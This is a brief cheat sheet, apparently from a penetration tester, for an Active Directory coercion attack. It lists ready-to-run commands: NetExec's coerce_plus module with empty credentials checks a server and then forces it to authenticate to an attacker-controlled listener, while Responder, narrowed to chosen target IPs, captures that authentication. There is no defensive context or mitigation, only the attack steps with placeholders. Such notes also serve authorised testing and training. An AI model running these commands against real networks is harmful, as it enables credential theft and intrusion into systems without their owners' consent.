Active Directory Coercion Attack

Check if the server is vulnerable :

nxc smb <ip> -u '' -p '' -M coerce_plus

Modify responder config to avoid targeting the entire network :

sudo nano /etc/responder/Responder.conf

[Responder Core]

# Only respond to this specific target IP
RespondTo = <target1>, <target2>

Launch responder :

sudo responder -I <your_network_interface> -v

Execute coercion attack :

nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>